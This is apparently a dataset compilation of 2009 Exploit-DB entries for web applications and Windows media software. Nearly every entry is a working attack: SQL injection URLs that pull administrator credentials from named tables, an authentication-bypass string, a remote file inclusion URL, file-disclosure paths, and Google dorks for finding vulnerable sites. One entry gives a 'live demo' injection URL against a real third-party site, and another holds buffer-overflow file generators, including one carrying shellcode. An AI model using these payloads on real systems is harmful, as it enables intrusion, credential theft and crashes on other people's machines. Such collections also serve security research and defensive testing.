QLWD/code_shield huggingface dataset:
标题: DMXReady Classified Listings Manager 1.1 - SQL Injection EDB-ID: 7767 CVE: 2009-0428 2009-0427 2009-0426 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-14 漏洞利用脚本: *******************************************************************************
# Title   :  DMXReady Classified Listings Manager <= 1.1 SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  99.97 $
# Dork    :  inurl:inc_classifiedlistingsmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_classifiedlistingsmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]

Example:


USERNAME->
/admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminUserName,2,5,9,3 from tblCLM_config

PASSWORD->
///admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminPassword,2,5,9,3 from tblCLM_config

ADMÃN LOGÃN->
http://[target]/[path]//admin/ClassifiedListingsManager/manage.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7767
标题: Dark Age CMS 0.2c Beta - Authentication Bypass EDB-ID: 7758 CVE: 2009-0326 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-13 漏洞利用脚本: --+++==================================================================================+++--
--+++====== Dark Age CMS <= v0.2c Beta (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++==================================================================================+++--

[+] Dark Age CMS <= v0.2c Beta (Auth Bypass) SQL Injection Vulnerability
[+] Author: darkjoker
[+] Site  : http://darkjoker.net23.net
[+] Notes : Have fun

[+] Code
[+] $username = $_POST['username'];
[+] $user_password = $_POST['password'];
[+] $password = md5($user_password);
[+] 
[+] $query = "SELECT * FROM " . ACCOUNTS_TABLE . " WHERE username='$username' AND password = '$password'";
[+] $result = mysql_query($query) or die('error making query');
[+] 

[+] Login data:

[+] Username: x' OR 'x' = 'x'#
[+] Password: anything

# milw0rm.com [2009-01-13] URL: https://www.exploit-db.com/exploits/7758
标题: Joomla! Component gigCalendar 1.0 - SQL Injection EDB-ID: 7746 CVE: 2009-0726 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-13 漏洞利用脚本: #############################################################
Joomla Component com_gigcal(gigcal_gigs_id) SQL-injection
#############################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[~] Vulnerability :  SQL injection 
#[~] Google Dork   :  inurl:com_gigcal
--------------------------------------------------
#[!] Name          :  GigCalendar
#[!] creationDate  :  Dec 2005 
#[!] Created by    :  Graham Spice, David Richards 
#[!] AuthorEmail   :  capt@gigcalendar.net 
#[!] Site          :  www.gigcalendar.net
#[!] Version       :  1.0
#[!] Download      :  http://joomlacode.org/gf/project/gigcalendar/frs/?action=FrsReleaseBrowse&frs_package_id=214
###################################################


[-] Example:
http://localhost/Path/index.php?option=com_gigcal&task=details&gigcal_gigs_id=[Exploit]


[-] Exploit:
'+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*


[-] LiveDemo: 
http://dromnyc.com/home/index.php?option=com_gigcal&task=details&gigcal_gigs_id=402'+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*&Itemid=37


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
#[!] Free Palestine
##############################

# milw0rm.com [2009-01-13] URL: https://www.exploit-db.com/exploits/7746
标题: Virtual Guestbook 2.1 - Remote Database Disclosure EDB-ID: 7744 CVE: 2009-0498 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-13 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    Virtual GuestBook v2.1 Remote Database Disclosure Vulnerability
==============================================================================

 [Â»] Script:             [ Virtual GuestBook v2.1  ]
 [Â»] Language:           [ ASP ]
 [Â»] Website:            [ http://www.minitdesign.com/vgbook.asp ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [Â»] Team:               [ EvilWay ]

###########################################################################

===[ Exploit ]=== 
 
 [Â»] http://localhost/[path]/database/guestbook.mdb


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-13] URL: https://www.exploit-db.com/exploits/7744
标题: Triologic Media Player 7 - '.m3u' Local Heap Buffer Overflow (PoC) EDB-ID: 7737 CVE: 2009-0266 2009-0262 类型: DOS 平台: WINDOWS 发布日期: 2009-01-12 漏洞利用脚本: # IN THE NAME OF ALLAH :)
#!/usr/bin/python
# Discovered By : zAx
# Download Application : http://www.download.com/Triologic-Media-Player/3000-2139_4-10601848.html?tag=mncol

print "**************************************************************************"
print " Triologic Media Player 7 (.m3u) Local Heap Buffer Overflow PoC\n"
print " Discovered By : zAx\n"
print " ThE-zAx@HoTMaiL.CoM\n"
print " In that PoC thanks for : Stack ;) My BrOthEr :)"
print "**************************************************************************"

overflow = "\x41" * 3000 # not right, just a PoC

try:
    out_file = open("zAx.m3u",'w')
    out_file.write(overflow)
    out_file.close()
    raw_input("\nPoC file created!, Now go to the program and click at Load Button\n")
except:
    print "Error"
# EoF

# milw0rm.com [2009-01-12] URL: https://www.exploit-db.com/exploits/7737
标题: Realtor 747 - 'define.php?INC_DIR' Remote File Inclusion EDB-ID: 7743 CVE: 2009-0495 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-12 漏洞利用脚本: -----------------:Remote File Include:-----------------
              -------------------------------------------------------


script:realtor747 Version 4.11
   
------------------------------------------------------------------
download from:http://www.it747.com/realtor747/intro/trial/realtor747-v4-11-trial.zip
   
------------------------------------------------------------------

.......................................................
vul:/include/define.php line 51:

require_once( "$INC_DIR/define_area.php" );

------------------------------------------------------

dork:"REALTOR 747 - Version 4.11"
-----------------------------------------------------

xpl:

http://127.0.0.1/path/include/define.php?INC_DIR=[shell.txt?]


***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady   [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-01-12] URL: https://www.exploit-db.com/exploits/7743
标题: Joomla! Component Portfol 1.2 - 'vcatid' SQL Injection EDB-ID: 7734 CVE: 2009-0494 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-12 漏洞利用脚本: #############################################################################
#                           #
#           Joomla Component Portfol SQL Injection Vulnerability            #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Portfol (com_portfol)"
[~] Version:       "1.2" 
[~] Date:          "20.10.2006"
[~] Author:        "mivaco"
[~] Author E-mail: "ivan@mivaco.com"
[~] Author URL:    "www.mivaco.com"

########################################

[~] DORK: inurl:"com_portfol" 

########################################

[~] Exploit: /index.php?option=com_portfol&Itemid=814&task=viewcategory&vcatid=[SQL]
[~] Example: /index.php?option=com_portfol&Itemid=814&task=viewcategory&vcatid=-96+union+select+concat(username,char(58),password)KHG+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2009-01-12] URL: https://www.exploit-db.com/exploits/7734
标题: Winamp 5.541 - '.mp3'/'.aiff' File Multiple Denial of Service Vulnerabilities EDB-ID: 7742 CVE: 2009-0263 类型: DOS 平台: WINDOWS 发布日期: 2009-01-12 漏洞利用脚本: ################################################################################################################################
#Winamp <= 5.541 multiples Denial of Services (MP3/AIFF)
#
# Winamp MP3 file parsing DoS ==>
#!/usr/bin/perl
use strict;
my $mp3 =
"\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x54\x49\x54\x32\x00\x00\x00\x08\x00\x00\x00".
"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e".
"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x62\x6c\x61\x62\x6c\x61\x20".
"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $mp32 =
"\x20" x 1500;

open(out, "> test.mp3");
binmode(out);
print (out $mp3, $mp32);
close(out);

#### Winamp AIFF file parsing header heap overflow :
#!/usr/bin/perl
use strict;
my $aiff =
"\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4".
"\x00";
open(out, "> test.aiff");
binmode(out);
print (out $aiff);
close(out);

# milw0rm.com [2009-01-12] URL: https://www.exploit-db.com/exploits/7742
标题: Microsoft Windows - '.chm' Denial of Service (HTML Compiled) EDB-ID: 7720 CVE: 2009-0119 类型: DOS 平台: WINDOWS 发布日期: 2009-01-11 漏洞利用脚本: ################################################################################################################################
#MS Windows .CHM Denial of Service (html compiled)
#
##########################################################################################################################################
#!/usr/bin/perl

use strict;

my $chm =
"\x49\x54\x53\x46\x03\x00\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x2d\x83\xe7\x69\x09".
"\x18\x00\x00\x10\xfd\x01\x7c\xaa\x7b\xd0\x11\x9e\x0c\x00\xa0\xc9\x22\xe6\xec\x11".
"\xfd\x01\x7c\xaa\x7b\xd0\x11\x9e\x0c\x00\xa0\xc9\x22\xe6\xec\x60\x00\x00\x00\x00".
"\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x54".
"\x10\x00\x00\x00\x00\x00\x00\xcc\x10\x00\x00\x00\x00\x00\x00\xfe\x01\x00\x00\x00".
"\x00\x00\x00\xb8\x46\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49".
"\x54\x53\x50\x01\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
open(out, "> test.chm");
binmode(out);
print (out $chm);
close(out);

# milw0rm.com [2009-01-11] URL: https://www.exploit-db.com/exploits/7720
标题: VUPlayer 2.49 - '.asx' 'HREF' Universal Buffer Overflow EDB-ID: 7715 CVE: 2009-0174 类型: LOCAL 平台: WINDOWS 发布日期: 2009-01-11 漏洞利用脚本: #usage: exploit.py
print "**************************************************************************"
print " VUPlayer 2.49 .ASX File (HREF) Universal Buffer Overflow\n"
print " Founder: aBo MoHaMeD"
print " exploit code: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
          

header1 = (
   "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"
       "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54"
   "\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54"
   "\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46"
   "\x3D\x22"
   )

header2 = (
   "\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59"
   "\x3E\x3C\x2F\x41\x53\x58\x3E"
     )
   
buff = "\x41" * 1012

EIP = "\xDF\x18\x02\x10" #universal address from bass.dll


nop = "\x90" * 19

# win32_exec -  EXITFUNC=seh CMD=notepad Size=349 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
 "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
 "\x42\x30\x42\x30\x42\x50\x4b\x58\x45\x54\x4e\x33\x4b\x58\x4e\x37"
 "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x51\x4b\x58"
 "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x48"
 "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
 "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
 "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
 "\x4f\x35\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x44"
 "\x4b\x48\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x31\x4b\x48"
 "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x43"
 "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x43\x45\x38\x42\x4c\x4a\x57"
 "\x4e\x50\x4b\x58\x42\x34\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
 "\x4b\x48\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
 "\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x53\x4f\x55\x41\x43"
 "\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
 "\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x45\x4a\x56\x4a\x49"
 "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x50\x56\x4f\x36"
 "\x46\x47\x45\x46\x42\x37\x41\x46\x46\x46\x42\x30\x5a"
    )

exploit = header1 + buff + EIP + nop + shellcode + header2

try:
    out_file = open("exploit.asx",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-11] URL: https://www.exploit-db.com/exploits/7715
标题: MP3 TrackMaker 1.5 - '.mp3' Local Heap Overflow (PoC) EDB-ID: 7708 CVE: 2009-0175 类型: DOS 平台: WINDOWS 发布日期: 2009-01-09 漏洞利用脚本: # #!/bin/perl

# Author : HouSSamix

# MP3 TrackMaker v1.5 .mp3 File Heap Overflow PoC
# http://www.heathcosoft.com/software/mp3trackmaker/mp3tm15.exe

# open the program > browse (source file) > file exploit

#EAX 41414141  <<< 
#ECX 000000F8
#EDX 0000020A
#EBX 00000000
#ESP 0012F408
#EBP 0012F470
#ESI 00000000
#EDI 00000158
#EIP 7C91EB94 ntdll.KiFastSystemCallRet

print "===================================================================== \n";
print "Author : Houssamix  \n";
print "===================================================================== \n";
print "MP3 TrackMaker v1.5 .mp3 File Heap Overflow PoC       \n";
print "===================================================================== \n\n";

my $file="hsmx.mp3";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE  "A" x 1200;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-09] URL: https://www.exploit-db.com/exploits/7708
标题: QuoteBook - Remote Configuration File Disclosure EDB-ID: 7699 CVE: 2009-0829 2009-0828 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-07 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    QuoteBook Remote Config File Disclosure Vulnerability
==============================================================================

 [Â»] Script:             [ QuoteBook ]
 [Â»] Language:           [ ASP ]
 [Â»] Website:            [ http://www.freedville.com/oss/download.php?package=QuoteBook ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]

###########################################################################

===[ Exploit ]=== 
 
 [Â»] http://localhost/[path]/poll.inc

              $dbhost = "";
              $dbusername = "";
              $dbuserpass = "";
              $default_dbname = ";


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-07] URL: https://www.exploit-db.com/exploits/7699
标题: PHP-Fusion Mod E-Cart 1.3 - 'items.php' SQL Injection EDB-ID: 7698 CVE: 2009-0832 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-07 漏洞利用脚本: #####################################################################################
####                    PHP-Fusion Mod E-Cart Sql Injection                      ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#####################################################################################
#                                                                                   #
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=281
#                                                                                   #
#Dork : inurl:/infusions/e_cart                                                     #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#Username : http://Site/[path]/infusions/e_cart/items.php?CA=-9999'%20union%20select%20user_name,1,2%20from%20fusion_users/*
#                                                                                   #
#Password : http://Site/[path]/infusions/e_cart/items.php?CA=-9999'%20union%20select%20user_password,1,2%20from%20fusion_users/*
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2009-01-07] URL: https://www.exploit-db.com/exploits/7698
标题: PHP-Fusion Mod Members CV (job) 1.0 - SQL Injection EDB-ID: 7697 CVE: 2009-0831 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-07 漏洞利用脚本: #####################################################################################
####                PHP-Fusion Mod Members Bewerb Sql Injection                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#####################################################################################
#                                                                                   #
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=204
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://Site/[path]/members.php?sortby=%'%20union%20select%200,user_password,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20fusion_users/*
#                                                                                   #
#You must login then use bug .                                                      #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2009-01-07] URL: https://www.exploit-db.com/exploits/7697